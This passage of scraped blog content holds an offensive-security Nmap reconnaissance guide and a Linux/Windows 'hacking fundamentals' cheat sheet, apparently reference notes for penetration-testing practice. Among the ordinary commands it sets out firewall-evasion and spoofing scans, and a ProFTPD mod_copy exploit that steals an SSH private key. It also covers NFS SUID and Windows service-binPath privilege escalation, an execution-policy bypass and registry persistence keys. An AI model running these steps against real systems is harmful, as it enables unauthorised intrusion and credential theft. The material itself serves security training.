auxiliary/scanner/ssh/ssh_login run ssh://username:password@172.17.0.1 ","permalink":"https://onebee.blog/blog/collection/offensive/exploitation/","summary":"Collection | Offensive | Exploitation","title":"Offensive | Exploitation"},{"content":"Reconnaissance Guide: Information Gathering with Nmap A practical handbook for network scanning, host discovery, and service enumeration.\nTarget Specification Before we start scanning, we need to tell Nmap what to scan. We can specify targets in several ways:\nSingle Targets\nnmap \u0026lt;machine-ip\u0026gt; nmap scanme.nmap.org nmap example.com IP Ranges\n# Scan IPs 15 through 20 nmap 10.10.10.15-20 # Scan a subnet (this scans 4 IP addresses) nmap 10.10.10.10/30 # Scan a range in the last octet nmap 10.10.0-255.101-125 From a File\n# Read targets from a file nmap -iL list_of_hosts.txt List Targets Without Scanning\n# Check which hosts will be scanned (includes reverse DNS) nmap -sL TARGETS # Same but skip reverse DNS lookup nmap -sL -n 10.10.0-255.101-125 Live Host Discovery Finding live hosts is the first step before port scanning. Nmap uses different methods depending on our privileges and network location.\nHow Nmap Discovers Hosts\nPrivileged user on local network:\nSends ARP requests Privileged user outside local network:\nICMP echo requests TCP ACK to port 80 TCP SYN to port 443 ICMP timestamp request Unprivileged user outside local network:\nTCP 3-way handshake TCP SYN to port 80 TCP SYN to port 443 Ping Scan (Host Discovery Only)\n# Discover online hosts without port scanning nmap -sn \u0026lt;targets\u0026gt; # ARP scan only (local network only) nmap -PR -sn \u0026lt;targets\u0026gt; ARP Scanning with ARP-SCAN\n# Scan the local network sudo arp-scan --localnet sudo arp-scan -l # Specify network interface sudo arp-scan -I eth0 -l # Scan specific subnet sudo arp-scan \u0026lt;host\u0026gt;/24 ICMP-Based Discovery\n# ICMP echo request (standard ping) nmap -PE -sn \u0026lt;target\u0026gt; # ICMP timestamp request (when echo is blocked) nmap -PP -sn \u0026lt;target\u0026gt; # ICMP address mask request nmap -PM -sn \u0026lt;target\u0026gt; TCP and UDP Discovery\n# TCP SYN ping (port 80 by default) nmap -PS -sn \u0026lt;target\u0026gt;/24 # Specify custom ports nmap -PS21,80,443,8080 -sn \u0026lt;target\u0026gt; # TCP ACK ping (privileged users only) nmap -PA -sn \u0026lt;target\u0026gt; nmap -PA80,443,8080 -sn \u0026lt;target\u0026gt; # UDP ping (uses uncommon ports to trigger ICMP errors) nmap -PU -sn \u0026lt;target\u0026gt; Masscan: Internet-Scale Scanning\n# Fast internet-scale port scanner masscan \u0026lt;target\u0026gt;/24 -p443 masscan \u0026lt;target\u0026gt;/24 -p80,443 masscan \u0026lt;target\u0026gt;/24 -p22-25 masscan \u0026lt;target\u0026gt;/24 --top-ports 100 Reverse DNS Lookup\n# Query DNS server for hostnames (even for offline hosts) nmap -R \u0026lt;target\u0026gt; --dns-servers \u0026lt;dns-server\u0026gt; Basic Port Scanning Once we\u0026rsquo;ve found live hosts, we scan for open ports. Here are the fundamental scan types.\nTCP Connect Scan\nCompletes the full TCP handshake (SYN \u0026ndash;\u0026gt; SYN/ACK \u0026ndash;\u0026gt; ACK \u0026ndash;\u0026gt; RST/ACK). The connection is torn down as soon as the port state is confirmed.\nnmap -sT \u0026lt;target\u0026gt; When to use: When running as an unprivileged user. This is the only option for discovering open TCP ports without root privileges.\nClosed port behavior: Responds with RST,ACK.\nPerformance options:\n-F: Fast mode (scans only the 100 most common ports) -r: Scan ports in consecutive order instead of random TCP SYN Scan\nSends SYN, receives SYN/ACK, then sends RST (never completes the handshake).\nnmap -sS \u0026lt;target\u0026gt; When to use: Default scan for privileged users. Less likely to be logged since the full connection is never established.\nUDP Scan\nNo response is expected from open UDP ports.\nnmap -sU \u0026lt;target\u0026gt; Closed port behavior: Returns ICMP Destination Unreachable (Port Unreachable).\nPort Selection\n# Specific ports nmap \u0026lt;target\u0026gt; -p22,80,443 # Port ranges nmap \u0026lt;target\u0026gt; -p1-1023 nmap \u0026lt;target\u0026gt; -p20-25 # All ports nmap \u0026lt;target\u0026gt; -p- # Top 100 most common nmap \u0026lt;target\u0026gt; -F # Top 10 most common nmap \u0026lt;target\u0026gt; --top-ports 10 Timing and Performance\n# Timing templates (-T0 to -T5) nmap -T0 \u0026lt;target\u0026gt; # Paranoid: waits 5 minutes between probes nmap -T1 \u0026lt;target\u0026gt; # Sneaky: often used in real engagements nmap -T2 \u0026lt;target\u0026gt; # Polite nmap -T3 \u0026lt;target\u0026gt; # Normal (default) nmap -T4 \u0026lt;target\u0026gt; # Aggressive: often used in CTFs nmap -T5 \u0026lt;target\u0026gt; # Insane: may affect accuracy # Packet rate control --min-rate \u0026lt;number\u0026gt; --max-rate \u0026lt;number\u0026gt; --max-rate 10 # No more than 10 packets per second # Parallelism control --min-parallelism \u0026lt;numprobes\u0026gt; --max-parallelism \u0026lt;numprobes\u0026gt; Advanced Port Scanning These techniques help evade firewalls, hide our identity, and gather information through non-standard methods.\nStealth Scans (No Response = Open) These scans rely on the absence of a response to infer that a port is open. Results show as open|filtered because we cannot be certain.\nTCP Null Scan\nNo flags set. No response if port is open, RST if closed.\nnmap -sN \u0026lt;target\u0026gt; TCP FIN Scan\nOnly the FIN flag is set.\nnmap -sF \u0026lt;target\u0026gt; TCP Xmas Scan\nFIN, PSH, and URG flags are set (lights up like a Christmas tree).\nnmap -sX \u0026lt;target\u0026gt; TCP Maimon Scan\nFIN and ACK flags are set. Not effective against modern systems.\nnmap -sM \u0026lt;target\u0026gt; Note: In modern networks, both open and closed ports often send RST responses, making this scan less useful.\nFirewall Evasion Scans TCP ACK Scan\nACK flag is set. RST response regardless of port state. Useful for mapping firewall rules.\nnmap -sA \u0026lt;target\u0026gt; Purpose: Identifies filtered ports. If we get a response, the port is not blocked by the firewall.\nTCP Window Scan\nSimilar to ACK scan but examines the TCP Window field of the RST packet.\nnmap -sW \u0026lt;target\u0026gt; Custom Scan\nSet your own combination of flags.\n# Example: RST, SYN, and FIN together nmap --scanflags RSTSYNFIN \u0026lt;target\u0026gt; # Set all flags at once nmap --scanflags URGACKPSHRSTSYNFIN \u0026lt;target\u0026gt; Identity Obfuscation Spoofing\nOnly useful if we can capture the responses.\n# Spoof source IP address nmap -S \u0026lt;spoofed-ip\u0026gt; \u0026lt;target\u0026gt; # Specify interface and skip ping nmap -e \u0026lt;net-interface\u0026gt; -Pn -S \u0026lt;spoofed-ip\u0026gt; \u0026lt;target\u0026gt; # Spoof MAC address (same subnet only) nmap --spoof-mac \u0026lt;spoofed-mac\u0026gt; Decoys\nHide ourselves among multiple fake sources.\n# Set specific decoys nmap -D \u0026lt;decoy1\u0026gt;,\u0026lt;decoy2\u0026gt;,\u0026lt;me\u0026gt;,\u0026lt;decoy3\u0026gt; \u0026lt;target\u0026gt; # Use random IP addresses nmap -D 10.10.0.1,10.10.0.2,RND,RND,\u0026lt;me\u0026gt; \u0026lt;target\u0026gt; Fragmentation and Packet Manipulation Fragmented Packets\nSplit data into small fragments (8 bytes or less by default).\n# Standard fragmentation (8 bytes) sudo nmap -sS -p80 -f \u0026lt;target\u0026gt; # Double fragmentation (16 bytes) sudo nmap -sS -p80 -ff \u0026lt;target\u0026gt; # Custom MTU size sudo nmap -sS -p80 --mtu 16 \u0026lt;target\u0026gt; # Increase packet size --data-length \u0026lt;num\u0026gt; Idle/Zombie Scan\nUses an idle system to proxy our scan, hiding our identity completely.\nHow it works:\nProbe the idle host and record its IP ID Send SYN to target with spoofed IP (the zombie\u0026rsquo;s IP) Probe the idle host again and compare IP IDs Interpretation:\nIP ID difference of 1: port is closed IP ID difference of 2: port is open nmap -sI \u0026lt;zombie-ip\u0026gt; \u0026lt;target\u0026gt; Debugging and Verbose Output\n# Show reasoning for port states sudo nmap -sS --reason \u0026lt;target\u0026gt; # Verbose output sudo nmap -sS -v \u0026lt;target\u0026gt; sudo nmap -sS -vv \u0026lt;target\u0026gt; # Debugging details sudo nmap -sS -d \u0026lt;target\u0026gt; sudo nmap -sS -dd \u0026lt;target\u0026gt; Post-Port Scanning After finding open ports, we gather more detailed information.\nService Version Detection\nDetermines service and version information for open ports.\nsudo nmap -sV \u0026lt;target\u0026gt; Important: -sV forces the TCP 3-way handshake (unlike -sS). It grabs service banners rather than guessing.\nIntensity levels:\n--version-intensity 0-9 (0 = lightest, 9 = most complete) --version-light (intensity 2) --version-all (intensity 9) OS Detection\nRequires at least one open and one closed port.\nsudo nmap -sS -O \u0026lt;target\u0026gt; Note: OS fingerprints can be inaccurate. Treat version results with caution.\nTraceroute\nNmap starts with high TTL and decreases it (opposite of standard traceroute).\nsudo nmap -sS --traceroute \u0026lt;target\u0026gt; Nmap Scripting Engine (NSE)\nNSE contains nearly 600 scripts for automated testing.\nScript categories:\nauth: Authentication-related tests broadcast: Host discovery via broadcast messages brute: Brute-force password auditing default: Default scripts (same as -sC) discovery: Information retrieval (DNS names, database tables) dos: Denial of Service detection exploit: Attempts to exploit vulnerable services external: Third-party service checks fuzzer: Fuzzing attacks intrusive: Aggressive scripts (brute-force, exploits) malware: Backdoor detection safe: Non-intrusive scripts version: Service version retrieval vuln: Vulnerability checks # Run default scripts sudo nmap -sS -sC \u0026lt;target\u0026gt; # Run specific script sudo nmap -sS --script \u0026#34;script-name\u0026#34; \u0026lt;target\u0026gt; # Run scripts matching pattern sudo nmap -sS --script \u0026#34;ftp*\u0026#34; \u0026lt;target\u0026gt; Saving Output\n# Normal format (human-readable) sudo nmap -sS -oN \u0026lt;filename\u0026gt; \u0026lt;target\u0026gt; # Grepable format (for processing) sudo nmap -sS -oG \u0026lt;filename\u0026gt; \u0026lt;target\u0026gt; # All formats (normal, grepable, XML) sudo nmap -sS -oA \u0026lt;filename\u0026gt; \u0026lt;target\u0026gt; Service Enumeration Once ports are identified, we enumerate specific services.\nGeneral Service Scanning\n# Scan top 1000 common ports nmap \u0026lt;target\u0026gt; # Full TCP port scan with scripts and version detection nmap -sV -sC -p- \u0026lt;target\u0026gt; # Run specific script on specific port nmap --script \u0026lt;script-name\u0026gt; -p\u0026lt;port\u0026gt; \u0026lt;target\u0026gt; # Aggressive scan on specific port nmap -A -p\u0026lt;port\u0026gt; \u0026lt;target\u0026gt; Banner Grabbing\n# With Nmap nmap -sV --script=banner -p21 \u0026lt;target\u0026gt;/24 # With Netcat nc -nv \u0026lt;target\u0026gt; \u0026lt;port\u0026gt; SMB Enumeration\n# OS discovery via SMB nmap --script smb-os-discovery.nse -p445 \u0026lt;target\u0026gt; # List available shares (no password) smbclient -N -L \\\\\\\\\u0026lt;target\u0026gt; # List shares with credentials smbclient -U \u0026lt;username\u0026gt; \\\\\\\\\u0026lt;target\u0026gt;\\\\\u0026lt;share\u0026gt; # Recursive download smbget -R smb://\u0026lt;ip\u0026gt;/\u0026lt;share\u0026gt; NFS (Network File System)\nRequires nfs-common package.\n# List NFS shares /usr/sbin/showmount -e \u0026lt;target\u0026gt; # Create mount point mkdir /tmp/mount/ # Mount the share sudo mount -t nfs \u0026lt;target\u0026gt;:/\u0026lt;share\u0026gt; /tmp/mount/ # Check NFS exports with Nmap nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount \u0026lt;target\u0026gt; Privilege Escalation via NFS:\nIf root_squash is disabled, we can exploit it:\nGain low-privilege access Upload a bash executable to the NFS share Set SUID permissions: sudo chmod +s executable.sh Execute via SSH to gain root access FTP\n# Connect to FTP server ftp -p \u0026lt;target\u0026gt; # Anonymous login ftp -a \u0026lt;target\u0026gt; # Common commands after login: ls, cd, get, put get \u0026lt;filename\u0026gt; ProFTPD mod_copy Exploit (versions \u0026lt; 1.3.5):\n# Connect via netcat nc \u0026lt;target\u0026gt; 21 # Copy files on remote host SITE CPFR /home/\u0026lt;user\u0026gt;/.ssh/id_rsa SITE CPTO /var/tmp/id_rsa # Mount NFS and retrieve file mkdir /mnt/targetNFS sudo mount \u0026lt;target\u0026gt;:/var /mnt/targetNFS cp /mnt/targetNFS/tmp/id_rsa . sudo chmod 600 id_rsa ssh -i id_rsa \u0026lt;user\u0026gt;@\u0026lt;target\u0026gt; SMTP (Simple Mail Transfer Protocol)\n# Enumerate users with smtp-user-enum smtp-user-enum -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t \u0026lt;target\u0026gt; -p 25 -v Alternative using Metasploit:\nauxiliary/scanner/smtp/smtp_version auxiliary/scanner/smtp/smtp_enum MySQL\n# Connect to MySQL server mysql -h \u0026lt;target\u0026gt; -u \u0026lt;username\u0026gt; -p # Show databases SHOW DATABASES; # Select database USE \u0026lt;database\u0026gt;; # Show tables SHOW TABLES; Metasploit modules:\nauxiliary/admin/mysql/mysql_sql: Execute SQL queries auxiliary/scanner/mysql/mysql_schemadump: Dump database schema auxiliary/scanner/mysql/mysql_hashdump: Dump password hashes SNMP\n# Enumeration with snmp-check snmp-check \u0026lt;target\u0026gt; -c public # SNMP walk with public community string snmpwalk -v 2c -c public \u0026lt;target\u0026gt; 1.3.6.1.2.1.1.5.0 # SNMP walk with private community string snmpwalk -v 2c -c private \u0026lt;target\u0026gt; Web Enumeration Directory and File Brute-Forcing\n# Gobuster directory scan gobuster dir -u http://\u0026lt;target\u0026gt;/ -w /usr/share/dirb/wordlists/common.txt # Skip TLS certificate verification gobuster dir -k -u \u0026lt;target\u0026gt; -w \u0026lt;wordlist\u0026gt; Subdomain Enumeration\n# Gobuster DNS mode gobuster dns -d \u0026lt;domain\u0026gt; -w /usr/share/SecLists/Discovery/DNS/namelist.txt Web Technology Detection\n# Identify web technologies on single target whatweb \u0026lt;target\u0026gt; # Scan entire network whatweb --no-errors \u0026lt;target\u0026gt;/24 Quick Reference: The Nmap Workflow Enumerate targets - Define what to scan Discover live hosts - Find active systems Reverse DNS lookup - Resolve hostnames Scan ports - Identify open ports Detect versions - Identify running services Detect OS - Determine operating system Traceroute - Map network path Run scripts - Automated vulnerability checks Write output - Save results for later ","permalink":"https://onebee.blog/blog/collection/offensive/reconnaissance/","summary":"Collection | Offensive | Reconnaissance","title":"Offensive | Reconnaissance"},{"content":"Hacking Fundamentals This guide covers the essential commands and concepts we use when working with Linux systems, Windows environments, and network protocols. Whether we are gathering system information, managing files, or connecting to remote services, these fundamentals form the foundation of our daily workflow.\nLinux Fundamentals System Information\nBefore we start working on any system, we need to understand what we are dealing with. These commands help us gather basic information about the machine, network configuration, and running processes.\ncurl ifconfig.me \u0026ndash; Display our public IP address whoami \u0026ndash; Show the current username (works on Windows too) id \u0026ndash; Display our user identity and group memberships hostname \u0026ndash; Show or set the system hostname uname \u0026ndash; Display basic OS and hardware information uname -a \u0026ndash; Show detailed system info: kernel name, hostname, kernel release, version, machine hardware name, and OS uname -r \u0026ndash; List only the kernel release number pwd \u0026ndash; Print the current working directory ifconfig \u0026ndash; View and configure network interface parameters ip \u0026ndash; Show and manipulate routing, network devices, interfaces, and tunnels netstat \u0026ndash; Display network connections and status ss \u0026ndash; Investigate sockets (modern replacement for netstat) ps \u0026ndash; Show process status who \u0026ndash; Display who is currently logged in env \u0026ndash; Print or set environment variables lsblk \u0026ndash; List block devices (storage) lsusb \u0026ndash; List connected USB devices lsof \u0026ndash; List open files and the processes using them lspci \u0026ndash; List PCI devices User Management\nWe often need to switch between users or manage accounts on a system. These commands handle user and group operations.\nsudo \u0026ndash; Execute a command as another user (typically root) su \u0026ndash; Switch to another user ID (requires their password) useradd \u0026ndash; Create a new user account userdel \u0026ndash; Delete a user account and related files usermod \u0026ndash; Modify an existing user account addgroup \u0026ndash; Add a group to the system delgroup \u0026ndash; Remove a group from the system passwd \u0026ndash; Change a user\u0026rsquo;s password Package Management\nMost Linux distributions use package managers to install, update, and remove software. Here we focus on APT-based systems (Debian, Ubuntu, Parrot, etc.).\nRepository Configuration Files:\n/etc/apt/sources.list /etc/apt/sources.list.d/parrot.list apt-cache search \u0026lt;package\u0026gt; \u0026ndash; Search the APT cache for a package apt-cache show \u0026lt;package\u0026gt; \u0026ndash; Get detailed information about a package apt list --installed \u0026ndash; List all installed packages sudo apt install \u0026lt;package\u0026gt; -y \u0026ndash; Install a package (auto-confirm) sudo dpkg -i \u0026lt;file\u0026gt;.deb \u0026ndash; Install a package using dpkg directly Service and Process Management\nUnderstanding what is running on a system is crucial. These commands help us manage services and processes.\nps \u0026ndash; List running processes ps aux \u0026ndash; List all processes, including those run by other users systemctl start \u0026lt;service\u0026gt; \u0026ndash; Start a service (e.g., systemctl start ssh) systemctl status \u0026lt;service\u0026gt; \u0026ndash; Check the status of a service systemctl enable \u0026lt;service\u0026gt; \u0026ndash; Configure a service to start at boot systemctl list-units --type=service \u0026ndash; List all services journalctl -u \u0026lt;service\u0026gt; --no-pager \u0026ndash; View logs for a specific service kill -l \u0026ndash; List all available kill signals kill -9 \u0026lt;PID\u0026gt; \u0026ndash; Forcefully terminate a process jobs \u0026ndash; List background processes bg \u0026ndash; Resume a suspended process in the background fg \u0026lt;ID\u0026gt; \u0026ndash; Bring a background process to the foreground ping -c 10 www.test.com \u0026amp; \u0026ndash; Run a command in the background Process Control Shortcuts:\n[CTRL]+Z: Suspend the current process [CTRL]+C: Send SIGINT to terminate the current task Command Chaining\nWe can combine multiple commands to streamline our workflow:\n; \u0026ndash; Execute commands sequentially (ignore errors) \u0026amp;\u0026amp; \u0026ndash; Execute next command only if the previous succeeded \\| \u0026ndash; Pipe output from one command to another Examples:\n# Run commands regardless of success echo \u0026#39;1\u0026#39;; echo \u0026#39;2\u0026#39;; echo \u0026#39;3\u0026#39; # Stop if a command fails echo \u0026#39;1\u0026#39; \u0026amp;\u0026amp; ls MISSING_FILE \u0026amp;\u0026amp; echo \u0026#39;3\u0026#39; Web Services\nSometimes we need to quickly host files or start a local web server.\napt install apache2 -y \u0026ndash; Install Apache web server python3 -m http.server \u0026ndash; Start a Python HTTP server (default port 8000) http-server -p 8080 \u0026ndash; Start a simple HTTP server with npm php -S 127.0.0.1:8080 \u0026ndash; Start a PHP development server After starting a service, we can access it at http://localhost or the specified port.\nNavigation\ncd - \u0026ndash; Jump back to the previous directory ls -i \u0026ndash; List files with their inode numbers Working with Files and Directories\ntouch \u0026lt;filename\u0026gt; \u0026ndash; Create an empty file mkdir -p \u0026lt;path\u0026gt; \u0026ndash; Create a directory and all necessary parent directories Example:\nmkdir -p Storage/local/user/documents Finding Files and Directories\nwhich \u0026lt;command\u0026gt; \u0026ndash; Locate the executable path for a command find \u0026lt;location\u0026gt; \u0026lt;options\u0026gt; \u0026ndash; Search for files and directories locate \u0026lt;pattern\u0026gt; \u0026ndash; Quickly find files using a pre-built database FIND Examples:\n# Find configuration files owned by root, larger than 20KB, modified after a specific date find / -type f -name \u0026#34;*.conf\u0026#34; -user root -size +20k -newermt 2020-03-03 -exec ls -al {} \\; 2\u0026gt;/dev/null # Find files between 25KB and 28KB find / -type f -name \u0026#34;*.conf\u0026#34; -size +25k -size -28k -newermt 2020-03-03 -exec ls -al {} \\; 2\u0026gt;/dev/null # Update the locate database sudo updatedb # Search for configuration files locate *.conf File Descriptors and Redirections\nLinux uses file descriptors to handle input and output streams:\nSTDIN (0) \u0026ndash; Standard input (keyboard) STDOUT (1) \u0026ndash; Standard output (screen) STDERR (2) \u0026ndash; Standard error (screen) Redirection Operators:\n\u0026gt; \u0026ndash; Redirect STDOUT to a file (overwrite) \u0026gt;\u0026gt; \u0026ndash; Redirect STDOUT to a file (append) 2\u0026gt; \u0026ndash; Redirect STDERR \u0026lt; \u0026ndash; Redirect STDIN from a file | \u0026ndash; Pipe output to another command Examples:\n# Redirect output while suppressing errors find /etc/ -name shadow 2\u0026gt;/dev/null \u0026gt; results.txt # Redirect STDOUT and STDERR to separate files find /etc/ -name shadow 2\u0026gt; stderr.txt 1\u0026gt; stdout.txt # Read from a file cat \u0026lt; stdout.txt # Append output to a file find /etc/ -name passwd \u0026gt;\u0026gt; stdout.txt 2\u0026gt;/dev/null # Create a file with heredoc (type EOF to end) cat \u0026lt;\u0026lt; EOF \u0026gt; stream.txt # Pipe through grep and count results find /etc/ -name *.conf 2\u0026gt;/dev/null | grep systemd | wc -l # Count installed packages apt list --installed | grep -c \u0026#39;installed\u0026#39; Filtering Content\nWe often need to filter and format command output to find what we need.\nhead \u0026lt;file\u0026gt; \u0026ndash; Show first 10 lines of a file tail \u0026lt;file\u0026gt; \u0026ndash; Show last 10 lines of a file sort \u0026ndash; Sort output alphabetically grep \u0026lt;pattern\u0026gt; \u0026ndash; Search for matching patterns grep -v \u0026lt;pattern\u0026gt; \u0026ndash; Exclude matching patterns cut -d\u0026quot;\u0026lt;delim\u0026gt;\u0026quot; -f\u0026lt;field\u0026gt; \u0026ndash; Extract specific fields tr \u0026quot;\u0026lt;old\u0026gt;\u0026quot; \u0026quot;\u0026lt;new\u0026gt;\u0026quot; \u0026ndash; Replace characters column -t \u0026ndash; Format output as a table awk '{print $1, $NF}' \u0026ndash; Extract specific columns sed 's/old/new/g' \u0026ndash; Substitute text wc -l \u0026ndash; Count lines Practical Example:\n# Find users with bash shells, format output, and count them cat /etc/passwd | grep -v \u0026#34;false\\|nologin\u0026#34; | tr \u0026#34;:\u0026#34; \u0026#34; \u0026#34; | awk \u0026#39;{print $1, $NF}\u0026#39; | wc -l # Extract unique URLs from a file cat site-src | grep \u0026#34;https://www.inlanefreight.com\u0026#34; | tr \u0026#34;\u0026#39;\u0026#34; \u0026#34;\\n\u0026#34; | tr \u0026#39;\u0026#34;\u0026#39; \u0026#34;\\n\u0026#34; | grep \u0026#34;https://www.inlanefreight.com\u0026#34; | sort -u | wc -l Note: Unlike more, less does not remain in the terminal after closing.\nPermission Management\nchmod \u0026lt;permissions\u0026gt; \u0026lt;file\u0026gt; \u0026ndash; Change file permissions chown \u0026lt;user\u0026gt;:\u0026lt;group\u0026gt; \u0026lt;file\u0026gt; \u0026ndash; Change file owner and group Permission Examples:\n# Add read permission for all users chmod a+r shell # Set specific permissions (rwx|r-x|r--) chmod 754 shell # Change owner to root chown root:root shell Keyboard Shortcuts\nThese shortcuts make our work in the terminal more efficient:\n[CTRL]+A \u0026ndash; Move cursor to beginning of line [CTRL]+E \u0026ndash; Move cursor to end of line [CTRL]+[Left/Right] \u0026ndash; Jump to beginning of current/previous word [ALT]+B/F \u0026ndash; Move backward/forward one word [CTRL]+U \u0026ndash; Erase from cursor to beginning of line [CTRL]+K \u0026ndash; Erase from cursor to end of line [CTRL]+W \u0026ndash; Erase the word before the cursor [CTRL]+Y \u0026ndash; Paste previously erased text [CTRL]+C \u0026ndash; Send SIGINT to end current task [CTRL]+D \u0026ndash; Close STDIN (End-of-File) [CTRL]+L \u0026ndash; Clear the terminal (same as clear) [CTRL]+Z \u0026ndash; Suspend current process [CTRL]+R \u0026ndash; Search through command history Security Basics\nKeeping our systems updated and properly firewalled is essential:\n# Update package lists and upgrade all packages apt update \u0026amp;\u0026amp; apt dist-upgrade # Configure firewall rules iptables \u0026lt;rules\u0026gt; Storage Management (LVM)\nWhen working with logical volumes, we might need to extend storage:\n# Check volume group size vgdisplay # Extend volume group by 1GB vgextend VolGroup /dev/sdb1 # Check logical volume lvdisplay /dev/VolGroup/root # Extend logical volume lvextend -L +1G /dev/VolGroup/root # Check with df df -ah # Resize the filesystem resize2fs /dev/VolGroup/root # Verify changes df -ah Networking Fundamentals VPN Connections\nWhen we need to connect to a target network securely:\n# Connect using OpenVPN sudo openvpn user.ovpn # Verify the connection ifconfig # Check accessible networks netstat -rn SSH Access\nSSH is our primary method for secure remote access to Linux systems.\n# Basic SSH login ssh Bob@10.10.10.10 # Connect when older key algorithms are needed ssh -oHostKeyAlgorithms=+ssh-rsa bob@\u0026lt;rhost\u0026gt; Testing Connectivity\n# Connect to a specific port with netcat netcat 10.10.10.10 22 File Transfers\nSCP allows us to securely copy files between systems:\n# Upload a file to a remote server scp source.txt user@192.168.1.1:/home/user/destination.txt # Download a file from a remote server scp user@192.168.1.1:/home/user/source.txt destination.txt Protocols and Services Telnet\nTelnet operates on port 23 and sends all data, including credentials, in cleartext. We should avoid using it in production environments.\nFTP (File Transfer Protocol)\nFTP operates on port 21 (cleartext) or port 990 (FTPS with SSL/TLS). SFTP uses SSH on port 22.\nModes of Operation:\nActive Mode: Data sent over a separate channel from the server\u0026rsquo;s port 20 Passive Mode: Data sent over a separate channel from a client port above 1023 Manual FTP Commands (used with telnet or netcat, not the FTP client):\nUSER \u0026lt;username\u0026gt; \u0026ndash; Send username PASS \u0026lt;password\u0026gt; \u0026ndash; Send password SYST \u0026ndash; Check target system type PASV \u0026ndash; Enter passive mode TYPE A \u0026ndash; Switch to ASCII mode TYPE I \u0026ndash; Switch to binary mode STAT \u0026ndash; Get additional system information FTP Client Commands:\n# Switch to ASCII mode ascii # Download a file (client and server establish a new channel) get \u0026lt;filename\u0026gt; Email Protocols\nEmail delivery involves several components: Mail User Agent (MUA), Mail Submission Agent (MSA), Mail Transfer Agent (MTA), and Mail Delivery Agent (MDA).\nSMTP (Simple Mail Transfer Protocol) - Port 25 (SMTPS on 465)\nUsed to communicate with MTA servers:\n# Connect to SMTP server telnet \u0026lt;rhost\u0026gt; 25 # Identify ourselves helo telnet # Specify sender mail from: \u0026lt;sender@domain.com\u0026gt; # Specify recipient rcpt to: \u0026lt;recipient@domain.com\u0026gt; # Start message data data subject: This is the subject # End message with a period on its own line . quit POP3 (Post Office Protocol v3) - Port 110 (POP3S on 995)\nUsed to download messages from the MDA (messages are typically deleted after download):\n# Connect to POP3 server telnet \u0026lt;rhost\u0026gt; 110 # Authenticate USER \u0026lt;user\u0026gt; PASS \u0026lt;password\u0026gt; # Check status STAT # List messages LIST # Retrieve first message RETR 1 # Exit QUIT IMAP (Internet Message Access Protocol) - Port 143 (IMAPS on 993)\nChanges are synchronized with the server. Each command must be preceded by a random string:\n# Login c1 LOGIN \u0026lt;username\u0026gt; \u0026lt;password\u0026gt; # List folders c2 LIST \u0026#34;\u0026#34; \u0026#34;*\u0026#34; # Examine inbox c3 EXAMINE INBOX # Logout c4 LOGOUT Packet Sniffing\nWe can capture network traffic for analysis:\n# Capture POP3 traffic and display in ASCII sudo tcpdump port 110 -A Windows Fundamentals Remote Access (RDP)\nConnecting to Windows machines via Remote Desktop Protocol:\n# Connect using xfreerdp xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:\u0026lt;rhost\u0026gt; /u:\u0026lt;username\u0026gt; /p:\u0026#39;\u0026lt;password\u0026gt;\u0026#39; # Alternative syntax xfreerdp /v:\u0026lt;targetIp\u0026gt; /u:htb-student /p:Password PowerShell Basics\nPowerShell is our primary command-line interface for Windows administration.\nDownloading Files\n# Download a file (similar to wget) Invoke-WebRequest -uri \u0026lt;LOCAL-IP\u0026gt;/socat.exe -outfile C:\\Windows\\temp\\socat.exe System Information with WMI\nWindows Management Instrumentation (WMI) provides detailed system information:\nGet-WmiObject -Class Win32_OperatingSystem | select Version,BuildNumber \u0026ndash; Get OS version and build Get-WmiObject -Class Win32_Process \u0026ndash; List processes Get-WmiObject -Class Win32_Service \u0026ndash; List services Get-WmiObject -Class Win32_Bios \u0026ndash; Get BIOS information Get-WmiObject -Class Win32_OperatingSystem | select ComputerName \u0026ndash; Get computer name Get-WmiObject -Class Win32_BaseBoard \u0026ndash; Get motherboard info Get-WmiObject -Class Win32_Processor \u0026ndash; Get processor info Get-WmiObject -Class Win32_PhysicalMemory \u0026ndash; Get memory info Alternative with WMIC:\nCMD :: Get help wmic /? :: Get hostname wmic computersystem get name :: Brief OS info wmic os list brief PowerShell # Detailed OS info Get-WmiObject -Class Win32_OperatingSystem | select SystemDirectory,BuildNumber,SerialNumber,Version | ft Directory Navigation\ndir c:\\ \u0026ndash; List contents of C drive tree \u0026quot;c:\\Program Files (x86)\\VMware\u0026quot; \u0026ndash; Display directory structure tree c:\\ /f | more \u0026ndash; Walk through all files one screen at a time File Operations with PowerShell\nGet-ChildItem -Path \u0026lt;path\u0026gt; \u0026ndash; List directory contents Get-ChildItem -Path \u0026lt;path\u0026gt; -Recurse \u0026ndash; List contents recursively get-alias \u0026ndash; View available aliases New-Alias -Name \u0026quot;Show-Files\u0026quot; Get-ChildItem \u0026ndash; Create custom alias get-help \u0026lt;cmdlet\u0026gt; \u0026ndash; Show help for a command Get-Help \u0026lt;cmdlet\u0026gt; -Online \u0026ndash; Open online documentation Update-Help \u0026ndash; Install local help files Permissions (icacls)\nManaging NTFS permissions:\n:: List permissions on a directory icacls C:\\Windows :: Grant full control to a user icacls c:\\users /grant joe:f :: Remove permissions icacls c:\\users /remove joe :: List shared folders net share Windows Services\nServices are managed via the Service Control Manager (SCM):\n# Open Services GUI services.msc # List running services Get-Service | ? {$_.Status -eq \u0026#34;Running\u0026#34;} | select -First 2 | fl # Query a specific service sc qc wuauserv # Query service on remote machine sc \\\\\u0026lt;hostname or IP\u0026gt; query \u0026lt;ServiceName\u0026gt; # Stop/start a service sc stop wuauserv sc start wuauserv # Configure service binary path (potential privilege escalation) sc config wuauserv binPath=C:\\Windows\\Perfectlylegitprogram.exe # View service permissions sc sdshow wuauserv # Check registry permissions Get-ACL -Path HKLM:\\System\\CurrentControlSet\\Services\\wuauserv | Format-List Running PowerShell Scripts\n# Execute a script .\\PowerView.ps1;Get-LocalGroup | fl # Import module for current session Import-Module .\\PowerView.ps1 # List loaded modules Get-Module | select Name,ExportedCommands | fl # Check execution policy get-executionpolicy -list # Bypass execution policy for current session Set-ExecutionPolicy Bypass -Scope Process The Windows Registry\nThe registry stores system and application configuration:\nSystem registry: C:\\Windows\\System32\\Config\\ User registry (HKCU): C:\\Windows\\Users\\\u0026lt;USERNAME\u0026gt;\\Ntuser.dat Run and RunOnce Keys (persistence locations):\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce 